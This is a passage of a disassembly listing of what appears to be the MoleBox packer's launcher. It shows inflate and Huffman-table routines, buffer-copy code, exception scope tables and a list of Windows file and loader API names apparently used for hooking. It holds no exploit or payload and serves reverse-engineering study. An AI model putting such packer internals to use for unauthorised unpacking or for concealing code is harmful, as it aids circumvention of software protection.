neg ebx
cmp eax, [ebp+var_18]
mov [ebp+var_B4], edx
mov [ebp+var_F0], edx
mov [ebp+var_1C], edx
mov [ebp+arg_0], edx
jg loc_50D791
mov edi, [ebp+var_24]
lea ecx, [eax-1]
lea eax, [ebp+eax*4+var_74]
mov [ebp+var_2C], ecx
mov [ebp+var_20], eax
loc_50D5A7: ; CODE XREF: sub_50D425+366j
mov eax, [ebp+var_20]
mov eax, [eax]
mov ecx, eax
dec eax
test ecx, ecx
mov [ebp+var_14], eax
jz loc_50D77B
loc_50D5BA: ; CODE XREF: sub_50D425+350j
mov eax, [ebp+arg_18]
add eax, ebx
cmp [ebp+var_4], eax
jle loc_50D6A6
loc_50D5C8: ; CODE XREF: sub_50D425+279j
mov ecx, [ebp+arg_18]
inc [ebp+var_8]
add eax, ecx
add ebx, ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_18]
sub eax, ebx
cmp eax, ecx
mov [ebp+arg_0], eax
jbe short loc_50D5E4
mov [ebp+arg_0], ecx
loc_50D5E4: ; CODE XREF: sub_50D425+1BAj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_14]
push 1
sub ecx, ebx
pop eax
shl eax, cl
inc edx
cmp eax, edx
jbe short loc_50D623
mov esi, [ebp+var_20]
or edx, 0FFFFFFFFh
sub edx, [ebp+var_14]
add eax, edx
cmp ecx, [ebp+arg_0]
jnb short loc_50D623
loc_50D606: ; CODE XREF: sub_50D425+1F5j
inc ecx
cmp ecx, [ebp+arg_0]
jnb short loc_50D623
mov edx, [esi+4]
add esi, 4
shl eax, 1
cmp eax, edx
jbe short loc_50D623
sub eax, edx
jmp short loc_50D606
; ---------------------------------------------------------------------------
loc_50D61C: ; CODE XREF: sub_50D425+C1j
; sub_50D425+E3j ...
push 0FFFFFFFDh
jmp loc_50D7A6
; ---------------------------------------------------------------------------
loc_50D623: ; CODE XREF: sub_50D425+1CFj
; sub_50D425+1DFj ...
mov eax, [ebp+arg_20]
push 1
pop edx
mov eax, [eax]
shl edx, cl
mov [ebp+arg_0], edx
lea esi, [eax+edx]
cmp esi, 5A0h
ja short loc_50D61C
mov edx, [ebp+arg_1C]
lea eax, [edx+eax*8]
mov edx, [ebp+var_8]
mov [ebp+var_1C], eax
lea edx, [ebp+edx*4+var_F0]
mov [edx], eax
mov eax, [ebp+arg_20]
mov [eax], esi
mov eax, [ebp+var_8]
test eax, eax
jz short loc_50D690
mov esi, [ebp+var_C]
mov edi, [ebp+var_1C]
mov [ebp+eax*4+var_B4], esi
mov eax, [ebp+arg_18]
mov byte ptr [ebp+var_28], cl
mov ecx, ebx
mov byte ptr [ebp+var_28+1], al
sub ecx, eax
mov eax, esi
shr eax, cl
mov ecx, [edx-4]
mov edx, [ebp+var_28]
sub edi, ecx
sar edi, 3
sub edi, eax
mov [ecx+eax*8], edx
mov [ecx+eax*8+4], edi
jmp short loc_50D698
; ---------------------------------------------------------------------------
loc_50D690: ; CODE XREF: sub_50D425+235j
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_1C]
mov [eax], ecx
loc_50D698: ; CODE XREF: sub_50D425+269j
mov eax, [ebp+var_34]
cmp [ebp+var_4], eax
jg loc_50D5C8
xor edx, edx
loc_50D6A6: ; CODE XREF: sub_50D425+19Dj
mov al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_4]
sub al, bl
mov byte ptr [ebp+var_28+1], al
mov eax, [ebp+arg_24]
lea ecx, [eax+ecx*4]
mov eax, [ebp+var_10]
cmp eax, ecx
jb short loc_50D6C4
mov byte ptr [ebp+var_28], 0C0h
jmp short loc_50D6FB
; ---------------------------------------------------------------------------
loc_50D6C4: ; CODE XREF: sub_50D425+297j
mov eax, [eax]
cmp eax, [ebp+arg_8]
jnb short loc_50D6DF
cmp eax, 100h
mov edi, eax
sbb cl, cl
and cl, 0A0h
add cl, 60h
mov byte ptr [ebp+var_28], cl
jmp short loc_50D6F7
; ---------------------------------------------------------------------------
loc_50D6DF: ; CODE XREF: sub_50D425+2A4j
sub eax, [ebp+arg_8]
mov ecx, [ebp+arg_10]
shl eax, 2
mov cl, [eax+ecx]
add cl, 50h
mov byte ptr [ebp+var_28], cl
mov ecx, [ebp+arg_C]
mov edi, [eax+ecx]
loc_50D6F7: ; CODE XREF: sub_50D425+2B8j
add [ebp+var_10], 4
loc_50D6FB: ; CODE XREF: sub_50D425+29Dj
mov ecx, [ebp+var_4]
mov eax, [ebp+var_C]
push 1
sub ecx, ebx
pop esi
shl esi, cl
mov ecx, ebx
shr eax, cl
cmp eax, [ebp+arg_0]
jnb short loc_50D72F
mov ecx, [ebp+var_1C]
lea ecx, [ecx+eax*8]
loc_50D717: ; CODE XREF: sub_50D425+306j
mov edx, [ebp+var_28]
add eax, esi
mov [ecx], edx
mov edx, esi
shl edx, 3
mov [ecx+4], edi
add ecx, edx
cmp eax, [ebp+arg_0]
jb short loc_50D717
xor edx, edx
loc_50D72F: ; CODE XREF: sub_50D425+2EAj
mov ecx, [ebp+var_2C]
push 1
pop eax
shl eax, cl
mov ecx, [ebp+var_C]
loc_50D73A: ; CODE XREF: sub_50D425+31Dj
test eax, ecx
jz short loc_50D744
xor ecx, eax
shr eax, 1
jmp short loc_50D73A
; ---------------------------------------------------------------------------
loc_50D744: ; CODE XREF: sub_50D425+317j
xor ecx, eax
mov eax, [ebp+var_8]
mov [ebp+var_C], ecx
lea eax, [ebp+eax*4+var_B4]
loc_50D753: ; CODE XREF: sub_50D425+346j
push 1
mov ecx, ebx
pop esi
shl esi, cl
dec esi
and esi, [ebp+var_C]
cmp esi, [eax]
jz short loc_50D76D
dec [ebp+var_8]
sub eax, 4
sub ebx, [ebp+arg_18]
jmp short loc_50D753
; ---------------------------------------------------------------------------
loc_50D76D: ; CODE XREF: sub_50D425+33Bj
mov eax, [ebp+var_14]
dec [ebp+var_14]
test eax, eax
jnz loc_50D5BA
loc_50D77B: ; CODE XREF: sub_50D425+18Fj
inc [ebp+var_4]
add [ebp+var_20], 4
mov eax, [ebp+var_4]
inc [ebp+var_2C]
cmp eax, [ebp+var_18]
jle loc_50D5A7
loc_50D791: ; CODE XREF: sub_50D425+16Cj
cmp [ebp+var_30], edx
jz loc_50D48A
cmp [ebp+var_18], 1
jz loc_50D48A
push 0FFFFFFFBh
loc_50D7A6: ; CODE XREF: sub_50D425+1F9j
pop eax
jmp loc_50D48C
sub_50D425 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50D7AC proc near ; CODE XREF: sub_50BC4B+56Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_20]
push 4
push 120h
push dword ptr [esi+28h]
call dword ptr [esi+20h]
add esp, 0Ch
mov [ebp+arg_20], eax
test eax, eax
jnz short loc_50D7D7
push 0FFFFFFFCh
pop eax
jmp loc_50D8AC
; ---------------------------------------------------------------------------
loc_50D7D7: ; CODE XREF: sub_50D7AC+21j
push ebx
push edi
push eax
lea eax, [ebp+var_4]
push eax
mov ebx, [ebp+arg_0]
push [ebp+arg_1C]
mov edi, 101h
push [ebp+arg_C]
push [ebp+arg_14]
push offset dword_50E12C
push offset dword_50E0B0
push edi
push ebx
push [ebp+arg_8]
call sub_50D425
add esp, 28h
test eax, eax
jnz short loc_50D87E
mov eax, [ebp+arg_C]
cmp dword ptr [eax], 0
jz short loc_50D891
push [ebp+arg_20]
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+arg_8]
push [ebp+arg_1C]
lea eax, [eax+ebx*4]
push [ebp+arg_10]
push [ebp+arg_18]
push offset dword_50E220
push offset dword_50E1A8
push 0
push [ebp+arg_4]
push eax
call sub_50D425
add esp, 28h
test eax, eax
jnz short loc_50D854
mov eax, [ebp+arg_10]
cmp dword ptr [eax], 0
jnz short loc_50D850
cmp ebx, edi
ja short loc_50D875
loc_50D850: ; CODE XREF: sub_50D7AC+9Ej
xor edi, edi
jmp short loc_50D89D
; ---------------------------------------------------------------------------
loc_50D854: ; CODE XREF: sub_50D7AC+96j
cmp eax, 0FFFFFFFDh
jnz short loc_50D862
mov dword ptr [esi+18h], offset aOversubscrib_0 ; "oversubscribed distance tree"
jmp short loc_50D89B
; ---------------------------------------------------------------------------
loc_50D862: ; CODE XREF: sub_50D7AC+ABj
cmp eax, 0FFFFFFFBh
jnz short loc_50D870
mov dword ptr [esi+18h], offset aIncompleteDist ; "incomplete distance tree"
jmp short loc_50D898
; ---------------------------------------------------------------------------
loc_50D870: ; CODE XREF: sub_50D7AC+B9j
cmp eax, 0FFFFFFFCh
jz short loc_50D89B
loc_50D875: ; CODE XREF: sub_50D7AC+A2j
mov dword ptr [esi+18h], offset aEmptyDistanceT ; "empty distance tree with lengths"
jmp short loc_50D898
; ---------------------------------------------------------------------------
loc_50D87E: ; CODE XREF: sub_50D7AC+5Cj
cmp eax, 0FFFFFFFDh
jnz short loc_50D88C
mov dword ptr [esi+18h], offset aOversubscrib_1 ; "oversubscribed literal/length tree"
jmp short loc_50D89B
; ---------------------------------------------------------------------------
loc_50D88C: ; CODE XREF: sub_50D7AC+D5j
cmp eax, 0FFFFFFFCh
jz short loc_50D89B
loc_50D891: ; CODE XREF: sub_50D7AC+64j
mov dword ptr [esi+18h], offset aIncompleteLite ; "incomplete literal/length tree"
loc_50D898: ; CODE XREF: sub_50D7AC+C2j
; sub_50D7AC+D0j
push 0FFFFFFFDh
pop eax
loc_50D89B: ; CODE XREF: sub_50D7AC+B4j
; sub_50D7AC+C7j ...
mov edi, eax
loc_50D89D: ; CODE XREF: sub_50D7AC+A6j
push [ebp+arg_20]
push dword ptr [esi+28h]
call dword ptr [esi+24h]
pop ecx
mov eax, edi
pop ecx
pop edi
pop ebx
loc_50D8AC: ; CODE XREF: sub_50D7AC+26j
pop esi
leave
retn
sub_50D7AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50D8AF proc near ; CODE XREF: sub_50BC4B+D6p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, ds:dword_50F120
mov [eax], ecx
mov eax, [ebp+arg_4]
mov ecx, ds:dword_50F124
mov [eax], ecx
mov eax, [ebp+arg_8]
mov dword ptr [eax], offset dword_50F128
mov eax, [ebp+arg_C]
mov dword ptr [eax], offset dword_510128
xor eax, eax
pop ebp
retn
sub_50D8AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50D8DE proc near ; CODE XREF: sub_50BC4B+1F0p
; sub_50BC4B+846p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, [ebp+arg_4]
mov edx, [ebx+30h]
push edi
mov edi, [ebx+34h]
mov eax, [esi+0Ch]
cmp edx, edi
mov [ebp+var_8], eax
mov [ebp+arg_0], edx
jbe short loc_50D902
mov edi, [ebx+2Ch]
loc_50D902: ; CODE XREF: sub_50D8DE+1Fj
mov eax, [esi+10h]
sub edi, edx
cmp edi, eax
mov [ebp+var_4], edi
jbe short loc_50D913
mov [ebp+var_4], eax
mov edi, eax
loc_50D913: ; CODE XREF: sub_50D8DE+2Ej
test edi, edi
jz short loc_50D921
cmp [ebp+arg_8], 0FFFFFFFBh
jnz short loc_50D921
and [ebp+arg_8], 0
loc_50D921: ; CODE XREF: sub_50D8DE+37j
; sub_50D8DE+3Dj
add [esi+14h], edi
sub eax, edi
mov [esi+10h], eax
mov eax, [ebx+38h]
test eax, eax
jz short loc_50D943
push edi
push edx
push dword ptr [ebx+3Ch]
call eax
mov edx, [ebp+arg_0]
mov [ebx+3Ch], eax
add esp, 0Ch
mov [esi+30h], eax
loc_50D943: ; CODE XREF: sub_50D8DE+50j
mov ecx, edi
mov edi, [ebp+var_8]
mov eax, ecx
mov esi, edx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [ebp+var_4]
add [ebp+var_8], eax
add [ebp+arg_0], eax
and ecx, 3
rep movsb
mov eax, [ebx+2Ch]
cmp [ebp+arg_0], eax
jnz short loc_50D9DC
mov edx, [ebx+28h]
cmp [ebx+34h], eax
mov [ebp+arg_0], edx
jnz short loc_50D977
mov [ebx+34h], edx
loc_50D977: ; CODE XREF: sub_50D8DE+94j
mov esi, [ebp+arg_4]
mov edi, [ebx+34h]
sub edi, edx
mov eax, [esi+10h]
mov [ebp+var_4], edi
cmp edi, eax
jbe short loc_50D98E
mov [ebp+var_4], eax
mov edi, eax
loc_50D98E: ; CODE XREF: sub_50D8DE+A9j
test edi, edi
jz short loc_50D99C
cmp [ebp+arg_8], 0FFFFFFFBh
jnz short loc_50D99C
and [ebp+arg_8], 0
loc_50D99C: ; CODE XREF: sub_50D8DE+B2j
; sub_50D8DE+B8j
add [esi+14h], edi
sub eax, edi
mov [esi+10h], eax
mov eax, [ebx+38h]
test eax, eax
jz short loc_50D9BE
push edi
push edx
push dword ptr [ebx+3Ch]
call eax
mov edx, [ebp+arg_0]
mov [ebx+3Ch], eax
add esp, 0Ch
mov [esi+30h], eax
loc_50D9BE: ; CODE XREF: sub_50D8DE+CBj
mov ecx, edi
mov edi, [ebp+var_8]
mov eax, ecx
mov esi, edx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [ebp+var_4]
add [ebp+var_8], eax
and ecx, 3
add [ebp+arg_0], eax
rep movsb
loc_50D9DC: ; CODE XREF: sub_50D8DE+89j
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
pop edi
pop esi
mov [eax+0Ch], ecx
mov eax, [ebp+arg_0]
mov [ebx+30h], eax
mov eax, [ebp+arg_8]
pop ebx
leave
retn
sub_50D8DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50D9F3 proc near ; CODE XREF: sub_500C5C+32Cp
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
mov eax, [ebp+arg_8]
push esi
mov esi, [ebp+arg_4]
mov [ebp+var_38], eax
mov eax, [ebp+arg_C]
and [ebp+var_18], 0
mov [ebp+var_34], eax
mov eax, [ebp+arg_0]
and [ebp+var_14], 0
mov [ebp+var_2C], eax
mov eax, [esi]
push edi
mov [ebp+var_28], eax
push 38h
lea eax, [ebp+var_38]
push offset byte_50F0A8
push eax
call sub_50D02B
add esp, 0Ch
test eax, eax
jnz short loc_50DA6E
lea eax, [ebp+var_38]
push 4
push eax
call sub_50D043
mov edi, eax
pop ecx
cmp edi, 1
pop ecx
jz short loc_50DA5F
lea eax, [ebp+var_38]
push eax
call sub_50CF00
test edi, edi
pop ecx
jnz short loc_50DA5B
push 0FFFFFFFBh
pop eax
jmp short loc_50DA6E
; ---------------------------------------------------------------------------
loc_50DA5B: ; CODE XREF: sub_50D9F3+61j
mov eax, edi
jmp short loc_50DA6E
; ---------------------------------------------------------------------------
loc_50DA5F: ; CODE XREF: sub_50D9F3+53j
mov eax, [ebp+var_24]
mov [esi], eax
lea eax, [ebp+var_38]
push eax
call sub_50CF00
pop ecx
loc_50DA6E: ; CODE XREF: sub_50D9F3+3Fj
; sub_50D9F3+66j ...
pop edi
pop esi
leave
retn
sub_50D9F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50DA72 proc near ; DATA XREF: sub_50CF41+41o
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
imul eax, [ebp+arg_8]
push eax
call sub_50835A
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
leave
retn
sub_50DA72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50DA8C proc near ; DATA XREF: sub_50CF41+50o
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
push [ebp+var_4]
call sub_5083DD
pop ecx
leave
retn
sub_50DA8C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50DAB0 proc near ; CODE XREF: sub_4FDB8D+5j
; _5:004FDB97j
push ebp
mov ebp, esp
push offset aApiNopefunc ; ":API:NopeFunc"
call sub_5084F7
pop ebp
retn
sub_50DAB0 endp ; sp-analysis failed
_5 ends
; Section 7. (virtual address 0010E000)
; Virtual size : 00000D76 ( 3446.)
; Section size in file : 00000D76 ( 3446.)
; Offset to raw data for section: 0010E000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_6 segment para public 'CODE' use32
assume cs:_6
;org 50E000h
assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dword_50E000 dd 77E79908h ; DATA XREF: sub_4FD2E0+3ADr
; sub_4FD2E0+3B8r ...
dword_50E004 dd 77E7A5FDh ; DATA XREF: sub_4FD2E0+1D9r
; sub_4FD2E0+1EDr ...
dword_50E008 dd 77E79A45h ; DATA XREF: sub_4FD2E0+1A5r
; sub_4FD2E0+398r ...
dword_50E00C dd 77E6D706h ; DATA XREF: sub_4FD2E0+12Br
; sub_4FD2E0+173r ...
dword_50E010 dd 77E79881h ; DATA XREF: sub_4FD2E0+1Ar
; sub_4FD2E0+108r ...
dword_50E014 dd 77E79F93h ; DATA XREF: sub_4FD2E0+Ar
; sub_4FD2E0+1B0r ...
dword_50E018 dd 77F7E300h ; DATA XREF: sub_4FC060+4r
; sub_4FF12B+15r ...
dword_50E01C dd 77F7E21Fh ; DATA XREF: sub_4FC000+2Cr
; sub_4FF036+65r ...
dword_50E020 dd 77E6C10Bh ; DATA XREF: sub_502DD0+1A1r
dword_50E024 dd 77E6E154h ; DATA XREF: sub_5071C3+114r
dword_50E028 dd 77E61A90h ; DATA XREF: sub_507494+3Ar
; sub_507494+7Cr ...
dword_50E02C dd 77E62050h ; DATA XREF: sub_50ADDE+3Fr
dword_50E030 dd 77E641EBh ; DATA XREF: sub_4FCDBF+59r
; sub_4FCDBF+8Dr
dword_50E034 dd 77E781F9h ; DATA XREF: sub_4FCA80+42r
; sub_4FCA80+14Dr ...
dword_50E038 dd 77E77405h ; DATA XREF: sub_4FCA80+5Er
; sub_4FCA80+A7r
dword_50E03C dd 77F6183Eh ; DATA XREF: sub_4FCF68r
dword_50E040 dd 77E79924h ; DATA XREF: sub_4FCA80+20Dr
dword_50E044 dd 77E77CCEh ; DATA XREF: sub_4FCA80+DFr
; sub_4FCA80+137r ...
dword_50E048 dd 77E7C866h ; DATA XREF: sub_4FCDBF+3Fr
; sub_4FCDBF+12Dr
align 10h
dword_50E050 dd 77D46F5Bh ; DATA XREF: sub_4FC15E+ADr
dword_50E054 dd 77D4B1B0h ; DATA XREF: sub_4FC271+B8r
align 10h
dword_50E060 dd 10h ; DATA XREF: sub_50BC4B+36Fr
; sub_50BC4B+3A0r
dd 11h, 12h, 0
dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1
dd 0Fh, 0FFFF0000h
dword_50E0B0 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h
; DATA XREF: sub_50D7AC+48o
dd 1Bh, 1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h, 73h, 83h
dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0)
dword_50E12C dd 8 dup(0) ; DATA XREF: sub_50D7AC+43o
dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
dd 2 dup(70h)
dword_50E1A8 dd 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h
; DATA XREF: sub_50D7AC+81o
dd 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h
dd 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h
dword_50E220 dd 4 dup(0) ; DATA XREF: sub_50D7AC+7Co
dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
dd 2 dup(0Ch), 2 dup(0Dh)
dword_50E298 dd 0FFFFFFFFh, 0 ; DATA XREF: _5:004FEBB5o
dd offset sub_4FEDE4
align 8
dd offset loc_4FEDB2+2
dd offset loc_4FEDBA
dword_50E2B0 dd 0FFFFFFFFh, 0 ; DATA XREF: _5:004FEE35o
dd offset sub_4FF00C
align 10h
dword_50E2C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FF036+5o
dd offset sub_4FF12B
align 10h
dword_50E2D0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FF252+5o
dd offset sub_4FF61F
align 10h
dword_50E2E0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FC000+5o
dd offset sub_4FC05D
align 10h
dword_50E2F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FF6DE+5o
; ---------------------------------------------------------------------------
jmp near ptr dword_5132F4
; ---------------------------------------------------------------------------
align 10h
dword_50E300 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FF818+5o
dd offset sub_4FF91D
align 10h
dword_50E310 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FF94C+5o
dd offset sub_4FFCA7
dd 2 dup(0)
dd offset sub_4FFA93
dword_50E328 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FFD24+5o
dd offset loc_4FFE9E
align 8
dword_50E338 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FFECD+5o
dd offset loc_4FFF90
align 8
dword_50E348 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4FFFBF+5o
dd offset loc_5001D1
align 8
dword_50E358 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500216+5o
dd offset sub_500317
align 8
dword_50E368 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500421+5o
dd offset sub_500643
align 8
dword_50E378 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500672+5o
dd offset sub_500712
align 8
dword_50E388 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500741+5o
dd offset loc_500829
align 8
dword_50E398 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500858+5o
dd offset sub_500921
align 8
dword_50E3A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500950+5o
dd offset sub_5009E1
align 8
dword_50E3B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_500C5C+5o
dd offset sub_500E9D
align 8
dword_50E3C8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_501177+5o
dd offset sub_501441
align 8
dword_50E3D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50153F+5o
dd offset sub_5018B0
align 8
dword_50E3E8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_5019D2+5o
dd offset sub_501A8F
align 8
dword_50E3F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_501CC4+5o
dd offset sub_502194
align 8
dword_50E408 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_502DD0+5o
dd offset sub_5035A2
align 8
dd offset loc_503354
dd offset loc_503385
dword_50E420 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_503610+5o
dd offset sub_504427
align 10h
dword_50E430 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_504490+5o
dd offset sub_50469C
align 10h
dword_50E440 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_5046D0+5o
dd offset sub_504791
align 10h
dword_50E450 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_5047BF+5o
dd offset sub_50487F
align 10h
dword_50E460 dd 0FFFFFFFFh, 505388h, 50539Bh, 0 ; DATA XREF: sub_5050D0+5o
dd offset loc_505250
dd offset loc_505264
dword_50E478 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_505456+5o
dd offset loc_5056BB
align 8
dword_50E488 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_505A41+5o
dd offset sub_505AB3
align 8
dword_50E498 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_505BD7+5o
dd offset nullsub_2
align 8
dd offset loc_505F3B
dd offset loc_505F44
dd 2 dup(0)
dd offset sub_505FCD
align 10h
dword_50E4C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_5061E1+5o
dd offset sub_507085
align 10h
dd offset sub_506B7F
dd offset sub_506B88
dd 1, 0
dd offset sub_506B0E
align 8
dword_50E4E8 dd 0FFFFFFFFh, 5072E3h, 50731Dh ; DATA XREF: sub_5071C3+5o
off_50E4F4 dd offset aMoleboxLaunche ; DATA XREF: sub_508401+13r
; sub_508C27+252r
; "MoleBox launcher fatal error"
off_50E4F8 dd offset aAssertionFai_2 ; DATA XREF: sub_4FF036+B6r
; sub_4FF94C+BFr ...
; "ASSERTION failed"
off_50E4FC dd offset aStripped ; DATA XREF: sub_4FF036+BEr
; sub_4FF94C+C7r ...
; "<stripped>"
dword_50E500 dd 0FFFFFFFFh, 508472h, 508476h, 0 ; DATA XREF: sub_508436+5o
dword_50E510 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_508538+5o
dd offset loc_5086FC
align 10h
dword_50E520 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_508726+5o
dd offset sub_5087AB
align 10h
dword_50E530 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_5087CA+5o
dd offset sub_508864
align 10h
dword_50E540 dd 0FFFFFFFFh, 508BFBh, 508BFFh, 0 ; DATA XREF: sub_508A16+5o
dword_50E550 dd 0FFFFFFFFh, 508FE0h, 508FE4h, 0 ; DATA XREF: sub_508EF3+5o
dword_50E560 dd 0FFFFFFFFh, 50922Ch, 509230h, 0FFFFFFFFh, 5092A5h, 5092A9h
; DATA XREF: sub_50918E+5o
dword_50E578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_509518+5o
dd offset loc_509615
align 8
dword_50E588 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_509638+5o
dd offset sub_509696
align 8
dword_50E598 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_509789+5o
dd offset loc_50989D
align 8
dword_50E5A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_5098C0+5o
dd offset loc_5099A2
dword_50E5B4 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: sub_509DD4+FBo
; sub_509DD4+15Fo ...
dword_50E5C4 dd 33696467h, 6C642E32h, 6Ch ; DATA XREF: sub_509DD4+10Fo
; sub_50B23E+5o ...
dword_50E5D0 dd 72657375h, 642E3233h, 6C6Ch ; DATA XREF: sub_509DD4+123o
dword_50E5DC dd 33656C6Fh, 6C642E32h, 6Ch, 61766461h, 32336970h, 6C6C642Eh
; DATA XREF: sub_509518+C2o
; sub_509789+6Eo ...
dd 0
dword_50E5F8 dd 61656C6Fh, 32337475h, 6C6C642Eh, 0 ; DATA XREF: sub_5099C5+30o
; sub_509A34+6Fo ...
aSetunhandled_0 db 'SetUnhandledExceptionFilter',0 ; DATA XREF: _7:00511254o
aCreatefilea_1 db 'CreateFileA',0 ; DATA XREF: _7:0051125Co
aCreatefilew_0 db 'CreateFileW',0 ; DATA XREF: _7:00511264o
aReadfile_2 db 'ReadFile',0 ; DATA XREF: _7:00511284o
align 4
aClosehandle_1 db 'CloseHandle',0 ; DATA XREF: _7:0051128Co
aSetfilepoint_1 db 'SetFilePointer',0 ; DATA XREF: _7:00511294o
align 4
aGetfilesize_0 db 'GetFileSize',0 ; DATA XREF: _7:0051129Co
aExitprocess_1 db 'ExitProcess',0 ; DATA XREF: _7:005112A4o
aCreatefilema_2 db 'CreateFileMappingA',0 ; DATA XREF: _7:005112ACo
align 10h
aCreatefilema_3 db 'CreateFileMappingW',0 ; DATA XREF: _7:005112B4o
align 4
aLoadlibrarya_0 db 'LoadLibraryA',0 ; DATA XREF: _7:005112D4o
align 4
aLoadlibraryw db 'LoadLibraryW',0 ; DATA XREF: _7:005112DCo
align 4
aLoadlibrarye_0 db 'LoadLibraryExA',0 ; DATA XREF: _7:005112E4o
align 4
aLoadlibraryexw db 'LoadLibraryExW',0 ; DATA XREF: _7:005112ECo
align 4
aFreelibrary_0 db 'FreeLibrary',0 ; DATA XREF: _7:005112CCo
aGetprocaddre_0 db 'GetProcAddress',0 ; DATA XREF: _7:005112F4o
align 10h
aLoadimagea_0 db 'LoadImageA',0 ; DATA XREF: _7:005113DCo
align 4
aMapviewoffil_0 db 'MapViewOfFile',0 ; DATA XREF: _7:005112BCo
align 4
aUnmapviewoff_0 db 'UnmapViewOfFile',0 ; DATA XREF: _7:005112C4o
aGetfileattri_3 db 'GetFileAttributesA',0 ; DATA XREF: _7:0051126Co
align 10h
aGetfileattri_4 db 'GetFileAttributesW',0 ; DATA XREF: _7:00511274o
align 4
aGetfileattri_5 db 'GetFileAttributesExW',0 ; DATA XREF: _7:0051127Co
align 4
